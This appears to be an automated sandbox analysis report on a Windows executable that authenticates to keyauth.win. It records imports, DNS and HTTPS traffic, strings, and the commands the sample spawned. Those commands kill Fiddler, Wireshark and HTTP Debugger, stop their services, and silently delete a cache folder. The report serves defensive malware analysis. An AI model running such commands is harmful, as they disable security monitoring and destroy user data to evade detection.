CRYPT32.dll	CertFreeCertificateChain, CertGetCertificateChain, CertFreeCertificateChainEngine, CertCreateCertificateChainEngine, CryptQueryObject, CertGetNameStringA, CertFindExtension, CertAddCertificateContextToStore, CryptDecodeObjectEx, PFXImportCertStore, CryptStringToBinaryA, CertFreeCertificateContext, CertFindCertificateInStore, CertEnumCertificatesInStore, CertOpenStore, CertCloseStore
WS2_32.dll	ntohl, gethostname, sendto, recvfrom, freeaddrinfo, getaddrinfo, select, __WSAFDIsSet, ioctlsocket, htonl, accept, WSACleanup, WSAStartup, WSAIoctl, WSASetLastError, socket, setsockopt, ntohs, htons, getsockopt, getsockname, getpeername, connect, bind, WSAGetLastError, send, recv, closesocket, listen
VCRUNTIME140.dll	__std_exception_destroy, __std_exception_copy, memcpy, memcmp, _CxxThrowException, __std_terminate, __C_specific_handler, strchr, __current_exception_context, strrchr, __current_exception, memchr, memset, strstr, memmove
VCRUNTIME140_1.dll	__CxxFrameHandler4
api-ms-win-crt-runtime-l1-1-0.dll	_errno, __sys_nerr, _invalid_parameter_noinfo_noreturn, strerror, exit, _getpid, system, _beginthreadex, _register_thread_local_exe_atexit_callback, terminate, _configure_narrow_argv, _initialize_narrow_environment, _initialize_onexit_table, _register_onexit_function, _crt_atexit, _cexit, _seh_filter_exe, _set_app_type, _c_exit, _get_initial_narrow_environment, _initterm, _initterm_e, _exit, __p___argv, __p___argc
api-ms-win-crt-heap-l1-1-0.dll	_callnewh, calloc, realloc, malloc, _set_new_mode, free
api-ms-win-crt-stdio-l1-1-0.dll	__stdio_common_vfprintf, fseek, feof, __p__commode, fputc, ftell, _lseeki64, _read, _write, _close, _open, __acrt_iob_func, __stdio_common_vsscanf, fgets, fputs, fopen, fflush, __stdio_common_vsprintf, fread, fclose, _set_fmode, fwrite
api-ms-win-crt-convert-l1-1-0.dll	atoi, strtoul, strtoull, strtoll, strtol, strtod
api-ms-win-crt-locale-l1-1-0.dll	localeconv, _configthreadlocale
api-ms-win-crt-time-l1-1-0.dll	_time64, _gmtime64
api-ms-win-crt-string-l1-1-0.dll	strpbrk, strcspn, strcmp, strncmp, strncpy, strspn, isupper, tolower, _strdup
api-ms-win-crt-utility-l1-1-0.dll	qsort
api-ms-win-crt-filesystem-l1-1-0.dll	_stat64, _access, _unlink, _fstat64
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr, _dclass

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 16:48:50.129962921 CET	49708	443	192.168.2.5	104.26.0.5
Jan 14, 2025 16:48:50.129991055 CET	443	49708	104.26.0.5	192.168.2.5
Jan 14, 2025 16:48:50.130068064 CET	49708	443	192.168.2.5	104.26.0.5
Jan 14, 2025 16:48:50.165471077 CET	49708	443	192.168.2.5	104.26.0.5
Jan 14, 2025 16:48:50.165491104 CET	443	49708	104.26.0.5	192.168.2.5
Jan 14, 2025 16:48:50.656239986 CET	443	49708	104.26.0.5	192.168.2.5
Jan 14, 2025 16:48:50.656346083 CET	49708	443	192.168.2.5	104.26.0.5
Jan 14, 2025 16:48:50.660722017 CET	49708	443	192.168.2.5	104.26.0.5
Jan 14, 2025 16:48:50.660732031 CET	443	49708	104.26.0.5	192.168.2.5
Jan 14, 2025 16:48:50.660953045 CET	443	49708	104.26.0.5	192.168.2.5
Jan 14, 2025 16:48:50.668724060 CET	49708	443	192.168.2.5	104.26.0.5
Jan 14, 2025 16:48:50.715326071 CET	443	49708	104.26.0.5	192.168.2.5
Jan 14, 2025 16:48:50.831197023 CET	443	49708	104.26.0.5	192.168.2.5
Jan 14, 2025 16:48:50.831280947 CET	443	49708	104.26.0.5	192.168.2.5
Jan 14, 2025 16:48:50.832359076 CET	49708	443	192.168.2.5	104.26.0.5
Jan 14, 2025 16:48:50.865513086 CET	49708	443	192.168.2.5	104.26.0.5
Jan 14, 2025 16:48:50.865531921 CET	443	49708	104.26.0.5	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 16:48:50.106045961 CET	53804	53	192.168.2.5	1.1.1.1
Jan 14, 2025 16:48:50.113044977 CET	53	53804	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 16:48:50.106045961 CET	192.168.2.5	1.1.1.1	0x45b3	Standard query (0)	keyauth.win	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 16:48:50.113044977 CET	1.1.1.1	192.168.2.5	0x45b3	No error (0)	keyauth.win	104.26.0.5	A (IP address)	IN (0x0001)	false
Jan 14, 2025 16:48:50.113044977 CET	1.1.1.1	192.168.2.5	0x45b3	No error (0)	keyauth.win	172.67.72.57	A (IP address)	IN (0x0001)	false
Jan 14, 2025 16:48:50.113044977 CET	1.1.1.1	192.168.2.5	0x45b3	No error (0)	keyauth.win	104.26.1.5	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

keyauth.win

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	104.26.0.5	443	3128	C:\Users\user\Desktop\EspPrivStoreAtt116.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 15:48:50 UTC	128	OUT	POST /api/1.1/ HTTP/1.1 Host: keyauth.win Accept: / Content-Length: 74 Content-Type: application/x-www-form-urlencoded
2025-01-14 15:48:50 UTC	74	OUT	Data Raw: 74 79 70 65 3d 69 6e 69 74 26 76 65 72 3d 32 2e 36 26 6e 61 6d 65 3d 4c 6f 61 64 65 72 20 50 72 69 6e 63 69 70 61 6c 20 7c 20 50 72 69 76 61 74 65 20 53 74 6f 72 65 26 6f 77 6e 65 72 69 64 3d 39 57 49 76 54 56 4a 61 39 6d Data Ascii: type=init&ver=2.6&name=Loader Principal \| Private Store&ownerid=9WIvTVJa9m
2025-01-14 15:48:50 UTC	1324	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 15:48:50 GMT Content-Type: application/json; charset=UTF-8 Content-Length: 475 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6oENCvJR4qY%2FjVBc4Fux40Lb2sED3M3Qo6%2B9%2BMTDbRoGhmBL6PkVZXeNVzzCcXONvh9d4KKTHbu%2BSn09UENjHGfCwsaz9yIrHAyifYwdKIIce3gpfGb7LbXhuu6m"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Acknowledge: Credit to VaultCord.com X-Powered-By: VaultCord.com content-security-policy: upgrade-insecure-requests permissions-policy: accelerometer=(), camera=(), fullscreen=, geolocation=(self), gyroscope=(), microphone=(), payment= referrer-policy: strict-origin-when-cross-origin strict-transport-security: max-age=31536000; includeSubDomains x-content-security-policy: img-src ; media-src data:; x-content-type-options: nosniff x-frame-options: DENY x-xss-protection: 1; mode=block Access-Control-Allow-Headers: * Access-Control-Allow-Methods: * Access-Control-Allow-Origin: * Server: cloudflare CF-RAY: 901ec5c90805431c-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1665&min_rtt=1633&rtt_var=635&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2344&recv_bytes=862&delivery_rate=1788120&cwnd=237&unsent_bytes=0&cid=3f17444e6fb8ea52&ts=185&x=0"
2025-01-14 15:48:50 UTC	45	IN	Data Raw: 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 63 6f 64 65 22 3a 36 38 2c 22 6d 65 73 73 61 67 65 22 3a 22 49 6e 69 74 69 61 6c 69 Data Ascii: {"success":true,"code":68,"message":"Initiali
2025-01-14 15:48:50 UTC	430	IN	Data Raw: 7a 65 64 22 2c 22 73 65 73 73 69 6f 6e 69 64 22 3a 22 61 65 36 32 39 65 30 34 22 2c 22 61 70 70 69 6e 66 6f 22 3a 7b 22 6e 75 6d 55 73 65 72 73 22 3a 22 4e 2f 41 20 2d 20 55 73 65 20 66 65 74 63 68 53 74 61 74 73 28 29 20 66 75 6e 63 74 69 6f 6e 20 69 6e 20 6c 61 74 65 73 74 20 65 78 61 6d 70 6c 65 22 2c 22 6e 75 6d 4f 6e 6c 69 6e 65 55 73 65 72 73 22 3a 22 4e 2f 41 20 2d 20 55 73 65 20 66 65 74 63 68 53 74 61 74 73 28 29 20 66 75 6e 63 74 69 6f 6e 20 69 6e 20 6c 61 74 65 73 74 20 65 78 61 6d 70 6c 65 22 2c 22 6e 75 6d 4b 65 79 73 22 3a 22 4e 2f 41 20 2d 20 55 73 65 20 66 65 74 63 68 53 74 61 74 73 28 29 20 66 75 6e 63 74 69 6f 6e 20 69 6e 20 6c 61 74 65 73 74 20 65 78 61 6d 70 6c 65 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 32 2e 36 22 2c 22 63 75 73 74 6f Data Ascii: zed","sessionid":"ae629e04","appinfo":{"numUsers":"N/A - Use fetchStats() function in latest example","numOnlineUsers":"N/A - Use fetchStats() function in latest example","numKeys":"N/A - Use fetchStats() function in latest example","version":"2.6","custo

Target ID:	0
Start time:	10:48:45
Start date:	14/01/2025
Path:	C:\Users\user\Desktop\EspPrivStoreAtt116.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\EspPrivStoreAtt116.exe"
Imagebase:	0x7ff747d30000
File size:	510'464 bytes
MD5 hash:	3653A466FFB4CCB78A2898A781DEA130
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	10:48:45
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	10:48:45
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1
Imagebase:	0x7ff6936f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:48:45
Start date:	14/01/2025
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Imagebase:	0x7ff70b350000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:48:46
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1
Imagebase:	0x7ff6936f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:48:46
Start date:	14/01/2025
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Imagebase:	0x7ff70b350000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:48:46
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1
Imagebase:	0x7ff6936f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:48:47
Start date:	14/01/2025
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Imagebase:	0x7ff70b350000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:48:47
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
Imagebase:	0x7ff6936f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:48:47
Start date:	14/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop HTTPDebuggerPro
Imagebase:	0x7ff6a7770000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:48:47
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1
Imagebase:	0x7ff6936f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:48:47
Start date:	14/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop HTTPDebuggerProSdk
Imagebase:	0x7ff6a7770000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:48:47
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
Imagebase:	0x7ff6936f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:48:48
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1
Imagebase:	0x7ff6936f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: taskkill.exePID: 3920, Parent PID: 3876

General

Target ID:	15
Start time:	10:48:48
Start date:	14/01/2025
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Imagebase:	0x7ff70b350000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:48:48
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1
Imagebase:	0x7ff6936f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: taskkill.exePID: 2072, Parent PID: 3364

General

Target ID:	17
Start time:	10:48:48
Start date:	14/01/2025
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Imagebase:	0x7ff70b350000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:48:48
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1
Imagebase:	0x7ff6936f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: taskkill.exePID: 6412, Parent PID: 2820

General

Target ID:	19
Start time:	10:48:48
Start date:	14/01/2025
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Imagebase:	0x7ff70b350000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	10:48:49
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
Imagebase:	0x7ff6936f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: sc.exePID: 7108, Parent PID: 4592

General

Target ID:	21
Start time:	10:48:49
Start date:	14/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop HTTPDebuggerPro
Imagebase:	0x7ff6a7770000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:48:49
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1
Imagebase:	0x7ff6936f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: sc.exePID: 4308, Parent PID: 528

General

Target ID:	23
Start time:	10:48:49
Start date:	14/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop HTTPDebuggerProSdk
Imagebase:	0x7ff6a7770000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	10:48:49
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
Imagebase:	0x7ff6936f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 7148, Parent PID: 3128

General

Target ID:	25
Start time:	10:48:50
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1
Imagebase:	0x7ff6936f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: taskkill.exePID: 7104, Parent PID: 7148

General

Target ID:	26
Start time:	10:48:50
Start date:	14/01/2025
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Imagebase:	0x7ff70b350000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	10:48:50
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1
Imagebase:	0x7ff6936f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: taskkill.exePID: 6728, Parent PID: 5036

General

Target ID:	28
Start time:	10:48:50
Start date:	14/01/2025
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Imagebase:	0x7ff70b350000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	10:48:51
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1
Imagebase:	0x7ff6936f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	10:48:51
Start date:	14/01/2025
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Imagebase:	0x7ff70b350000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:48:51
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
Imagebase:	0x7ff6936f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	10:48:51
Start date:	14/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop HTTPDebuggerPro
Imagebase:	0x7ff6a7770000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	10:48:51
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1
Imagebase:	0x7ff6936f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	10:48:51
Start date:	14/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop HTTPDebuggerProSdk
Imagebase:	0x7ff6a7770000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	10:48:52
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
Imagebase:	0x7ff6936f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	22.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	105

Executed Functions

Function 00007FF747D5FEA0 Relevance: 178.5, APIs: 31, Strings: 70, Instructions: 1702stringCOMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5FF78
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D5FF85
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D60058
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D600DC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D60183
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6021A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D602E5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6031D
strchr.VCRUNTIME140 ref: 00007FF747D60497
strchr.VCRUNTIME140 ref: 00007FF747D604AA
strchr.VCRUNTIME140 ref: 00007FF747D604BC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D605C3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D60633
memcpy.VCRUNTIME140 ref: 00007FF747D6065A
strchr.VCRUNTIME140 ref: 00007FF747D6066E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D60682
strstr.VCRUNTIME140 ref: 00007FF747D608B8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D609F1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D60B69

Part of subcall function 00007FF747D596C0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D59733

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D60C1C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D60CA1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D60EFA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D60F10
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D60F1F

Part of subcall function 00007FF747D62270: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D622CA

strchr.VCRUNTIME140 ref: 00007FF747D614D7
strchr.VCRUNTIME140 ref: 00007FF747D614EA
strchr.VCRUNTIME140 ref: 00007FF747D614FC

Part of subcall function 00007FF747D62270: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D622EA
Part of subcall function 00007FF747D62270: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D622F3

strchr.VCRUNTIME140 ref: 00007FF747D6174F
strchr.VCRUNTIME140 ref: 00007FF747D61762
strchr.VCRUNTIME140 ref: 00007FF747D61774

Part of subcall function 00007FF747D648A0: strchr.VCRUNTIME140 ref: 00007FF747D64986
Part of subcall function 00007FF747D648A0: strchr.VCRUNTIME140 ref: 00007FF747D64999
Part of subcall function 00007FF747D648A0: strchr.VCRUNTIME140 ref: 00007FF747D649AB

Strings

Invalid TIMEVALUE, xrefs: 00007FF747D61123
%s, xrefs: 00007FF747D61453
%s?%s, xrefs: 00007FF747D60075
Content-Range: bytes %s/%I64d, xrefs: 00007FF747D60BB6
Failed sending HTTP POST request, xrefs: 00007FF747D6197B
Transfer-Encoding:, xrefs: 00007FF747D6044E
Could only read %I64d bytes from the input, xrefs: 00007FF747D60B25
Range: bytes=%s, xrefs: 00007FF747D609FE
Accept-Encoding, xrefs: 00007FF747D602C1
Host:, xrefs: 00007FF747D60691
Cookie: , xrefs: 00007FF747D6100E, 00007FF747D61084
